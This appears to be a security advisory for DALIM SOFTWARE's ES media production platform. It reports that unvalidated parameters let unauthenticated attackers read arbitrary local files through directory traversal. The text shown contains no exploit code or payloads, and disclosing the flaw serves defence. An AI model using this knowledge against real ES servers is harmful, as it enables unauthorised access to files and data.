Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built  
from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES  
Core is the engine that can handle project tracking, JDF device workflow,  
dynamic user interface building, volume management. Each ES installation  
will have different features, depending on the license installed: online  
approval, prepress workflow, project tracking, imposition management...  
  
ES is a collaborative digital asset production and management platform,  
offering services ranging from online approval to web-based production  
environment for all participants of the production cycle, including brand  
owners, agencies, publishers, pre-media, printers and multichannel service  
provider. ES lets users plan, execute and control any aspect of media  
production, regardless of the final use of the output (print, web, ebook,  
movie, and others). It ensures productivity and longterm profitability.  
  
Desc: Input passed thru several parameters is not properly verified before  
being used to read files. This can be exploited by an unauthenticated   
attacker to read arbitrary files from local resources with directory  
traversal attacks.
